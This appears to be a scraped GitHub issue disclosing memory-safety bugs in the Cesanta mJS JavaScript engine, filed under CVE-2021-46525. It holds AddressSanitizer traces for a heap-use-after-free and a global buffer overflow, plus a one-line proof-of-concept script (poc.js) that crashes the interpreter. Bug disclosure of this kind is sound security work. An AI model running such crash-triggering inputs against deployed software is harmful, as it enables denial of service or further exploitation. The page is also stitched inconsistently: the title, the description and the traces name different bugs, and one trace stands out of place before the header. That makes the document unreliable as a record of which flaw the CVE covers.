======ERROR: AddressSanitizer: heap-use-after-free on address 0x6040000000f8 at pc 0x5590f9ee05d6 bp 0x7fff0f0dc5b0 sp 0x7fff0f0dc5a0
READ of size 8 at 0x6040000000f8 thread T0
    #0 0x5590f9ee05d5 in mjs\_apply src/mjs\_exec.c:1156
    #1 0x5590f9ee08d4 in mjs\_apply\_ src/mjs\_exec.c:515
    #2 0x5590f9ed4244 in mjs\_execute src/mjs\_exec.c:853
    #3 0x5590f9edda05 in mjs\_exec\_internal src/mjs\_exec.c:1073
    #4 0x5590f9edda05 in mjs\_exec\_file src/mjs\_exec.c:1096
    #5 0x5590f9e9a909 in main src/mjs\_main.c:47
    #6 0x7f009363db96 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x21b96)
    #7 0x5590f9e9b449 in \_start (/usr/local/bin/Gmjs+0xe449)

0x6040000000f8 is located 40 bytes inside of 48-byte region \[0x6040000000d0,0x604000000100)
freed by thread T0 here:
    #0 0x7f0093ceff30 in realloc (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0xdef30)
    #1 0x5590f9facdf8 in mbuf\_insert src/common/mbuf.c:90

previously allocated by thread T0 here:
    #0 0x7f0093ceff30 in realloc (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0xdef30)
    #1 0x5590f9facdf8 in mbuf\_insert src/common/mbuf.c:90

SUMMARY: AddressSanitizer: heap-use-after-free src/mjs\_exec.c:1156 in mjs\_apply
Shadow bytes around the buggy address:
  0x0c087fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff8000: fa fa fd fd fd fd fd fd fa fa 00 00 00 00 00 00
\=>0x0c087fff8010: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd\[fd\]
  0x0c087fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

Credits: Found by OWL337 team.

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46525: Heap-use-after-free src/mjs_exec.c:1156 in mjs_apply · Issue #199 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a global buffer overflow via snquote at src/mjs_json.c.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    (JSON.stringify([1, 2, 3]))((JSON.parse - 10900)(JSON.stringify([1, 2, 3])));
​**Execution steps & Output**

$ ./mjs/build/mjs poc.js
=================================================================
====ERROR: AddressSanitizer: global-buffer-overflow on address 0x5570a88f30e4 at pc 0x5570a8803a88 bp 0x7ffc63d95f40 sp 0x7ffc63d95f30
READ of size 1 at 0x5570a88f30e4 thread T0
    #0 0x5570a8803a87 in snquote src/mjs\_json.c:81
    #1 0x5570a8803a87 in to\_json\_or\_debug src/mjs\_json.c:167
    #2 0x5570a8803a87 in mjs\_json\_stringify src/mjs\_json.c:267
    #3 0x5570a8803a87 in mjs\_op\_json\_stringify src/mjs\_json.c:494

0x5570a88f30e4 is located 0 bytes to the right of global variable '\*.LC1' defined in 'src/mjs\_array.c' (0x5570a88f30e0) of size 4
  '\*.LC1' is ascii string '%lu'
0x5570a88f30e4 is located 60 bytes to the left of global variable '\*.LC9' defined in 'src/mjs\_array.c' (0x5570a88f3120) of size 5
  '\*.LC9' is ascii string 'this'
SUMMARY: AddressSanitizer: global-buffer-overflow src/mjs\_json.c:81 in snquote
Shadow bytes around the buggy address:
  0x0aae951165c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae951165d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae951165e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae951165f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae95116600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=\>0x0aae95116610: 00 00 00 00 00 00 00 00 00 00 00 00\[04\]f9 f9 f9
  0x0aae95116620: f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9 01 f9 f9 f9
  0x0aae95116630: f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9 00 04 f9 f9
  0x0aae95116640: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae95116650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae95116660: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 00 00 00 04
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
====ABORTING

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

Tag

#ubuntu